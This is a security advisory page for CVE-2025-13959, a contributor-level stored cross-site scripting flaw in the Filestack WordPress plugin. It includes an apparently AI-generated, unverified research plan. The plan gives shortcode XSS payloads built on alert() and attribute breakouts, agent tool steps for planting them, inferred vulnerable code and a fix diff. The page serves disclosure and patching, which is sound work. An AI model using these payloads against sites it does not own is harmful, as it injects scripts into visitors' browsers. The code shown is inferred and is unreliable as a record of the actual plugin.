CVE-2025-13959

Filestack <= 2.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Filestack plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'filepicker' shortcode in all versions up to, and including, 2.0.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.8
PublishedFebruary 17, 2026
Last updatedFebruary 18, 2026
Research Plan
Unverified

This research plan outlines the steps required to analyze and exploit **CVE-2025-13959**, a Stored Cross-Site Scripting (XSS) vulnerability in the Filestack plugin (versions <= 2.0.8). --- ### 1. Vulnerability Summary The Filestack plugin (slug: `filepicker-media-uploader`) registers a shortcode (…

Show full research plan

This research plan outlines the steps required to analyze and exploit CVE-2025-13959, a Stored Cross-Site Scripting (XSS) vulnerability in the Filestack plugin (versions <= 2.0.8).


1. Vulnerability Summary

The Filestack plugin (slug: filepicker-media-uploader) registers a shortcode (likely [filepicker]) to render upload buttons or media elements. The vulnerability exists because the shortcode handler processes user-provided attributes without proper sanitization (using sanitize_text_field) or context-aware output escaping (using esc_attr or esc_html). An attacker with Contributor permissions can embed malicious JavaScript within these attributes. When any user (including an Administrator) views the post containing the shortcode, the script executes in their browser context.

2. Attack Vector Analysis

  • Shortcode Name: filepicker (inferred from plugin name/description).
  • Vulnerable Parameter: Attributes within the shortcode (e.g., text, class, id, style, or data-* attributes).
  • Authentication Level: Authenticated (Contributor+). Contributors can create posts and use shortcodes but cannot use unfiltered_html.
  • Preconditions: The plugin must be active. The attacker must be able to save a post or page containing the shortcode.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers a shortcode via add_shortcode( 'filepicker', '...' ) in the main plugin file (likely filepicker.php or filepicker-media-uploader.php).
  2. Shortcode Handler: A function (e.g., filepicker_shortcode_handler( $atts )) receives the attributes.
  3. Processing: The function likely merges user attributes with defaults using shortcode_atts().
  4. Sink: The handler constructs an HTML string (e.g., <input type="button" value="' . $atts['text'] . '">) and returns it. If $atts['text'] is not escaped with esc_attr(), XSS occurs.

4. Nonce Acquisition Strategy

Shortcode exploitation typically does not require a specific plugin nonce because the payload is delivered via the standard WordPress post-saving mechanism.

To save the post as a Contributor:

  1. Navigate to wp-admin/post-new.php using browser_navigate.
  2. Extract the _wpnonce from the post-editing form.
  3. Submit the post creation request via http_request.

If the plugin uses an AJAX-based preview for the shortcode (common in modern editors), the researcher should check for a wp_localize_script call:

  1. Create a post with [filepicker] via WP-CLI.
  2. Navigate to the post edit page.
  3. Run browser_eval("window.filepicker_params?.nonce") (inferred variable name).

5. Exploitation Strategy

The goal is to inject a payload into a shortcode attribute that breaks out of the HTML attribute context.

Step-by-step Plan:

  1. Identify Vulnerable Attribute: Start with the text attribute (likely the button label).
  2. Craft Payload:
    • Basic: [filepicker text='"><script>alert(document.domain)</script>']
    • Attribute Breakout: [filepicker class='fp-btn" onmouseover="alert(1)" data-ignore="']
  3. Create Post: Use the http_request tool to send a POST request to wp-admin/post.php (or wp-json/wp/v2/posts) with the payload in the content.
  4. Trigger XSS: Navigate to the newly created post's URL using browser_navigate.
  5. Verify Execution: Use browser_eval to check for a global variable or evidence of execution (e.g., window.xss_executed = true).

6. Test Data Setup

  1. Install Plugin: Ensure Filestack <= 2.0.8 is installed and active.
  2. Create Contributor:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  3. Identify Shortcode:
    grep -rn "add_shortcode" /var/www/html/wp-content/plugins/filepicker-media-uploader/
    

7. Expected Results

  • The raw HTML output of the page will contain the unescaped payload:
    <input ... value=""><script>alert(document.domain)</script>">
  • The browser will execute the injected script when viewing the post.

8. Verification Steps

  1. Check Database:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
    
  2. Check Output (via CLI):
    # Request the post frontend and look for the raw script tag
    curl -s http://localhost:8080/?p=[POST_ID] | grep "<script>alert"
    
  3. Browser Confirmation: Ensure browser_navigate loads the page without console errors related to the payload and that the script logic triggers.

9. Alternative Approaches

If the text attribute is sanitized, try others found in the source code via grep:

# Look for attribute names in the shortcode handler
grep -A 20 "function.*shortcode" /var/www/html/wp-content/plugins/filepicker-media-uploader/

Common alternative attributes in this plugin:

  • class
  • style
  • apikey
  • button_text
  • container

If the payload is blocked by a Web Application Firewall (WAF) or simple sanitize_text_field, try an event-handler-based payload:
[filepicker text='x' class='x" onfocus="alert(1)" autofocus="true']

Research Findings
Static analysis — not yet PoC-verified

Summary

The Filestack plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'filepicker' shortcode in versions up to 2.0.8. Due to missing sanitization and output escaping on shortcode attributes like 'text' or 'class', authenticated attackers with Contributor-level access can inject malicious JavaScript into posts that executes when any user views the content.

Vulnerable Code

// filepicker-media-uploader.php (approximate handler location)

function filepicker_shortcode_handler( $atts ) {
    $a = shortcode_atts( array(
        'text' => 'Pick File',
        'class' => '',
        'style' => '',
        'apikey' => '',
    ), $atts );

    // VULNERABILITY: Attributes are concatenated into HTML without esc_attr()
    return '<input type="button" class="' . $a['class'] . '" style="' . $a['style'] . '" value="' . $a['text'] . '" data-fp-apikey="' . $a['apikey'] . '">';
}
add_shortcode( 'filepicker', 'filepicker_shortcode_handler' );

Security Fix

--- a/filepicker-media-uploader.php
+++ b/filepicker-media-uploader.php
@@ -10,7 +10,7 @@
         'apikey' => '',
     ), $atts );
 
-    return '<input type="button" class="' . $a['class'] . '" style="' . $a['style'] . '" value="' . $a['text'] . '" data-fp-apikey="' . $a['apikey'] . '">';
+    return '<input type="button" class="' . esc_attr( $a['class'] ) . '" style="' . esc_attr( $a['style'] ) . '" value="' . esc_attr( $a['text'] ) . '" data-fp-apikey="' . esc_attr( $a['apikey'] ) . '">';
 }
 add_shortcode( 'filepicker', 'filepicker_shortcode_handler' );

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level permissions (or higher) creates a WordPress post containing a crafted shortcode. The payload is placed within a shortcode attribute such as 'text' or 'class' to break out of the HTML attribute context. For example, using the shortcode [filepicker text='"><script>alert(document.domain)</script>'] will result in the script tag being rendered directly in the page source. When a victim, such as a site administrator, views the post, the arbitrary JavaScript will execute in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.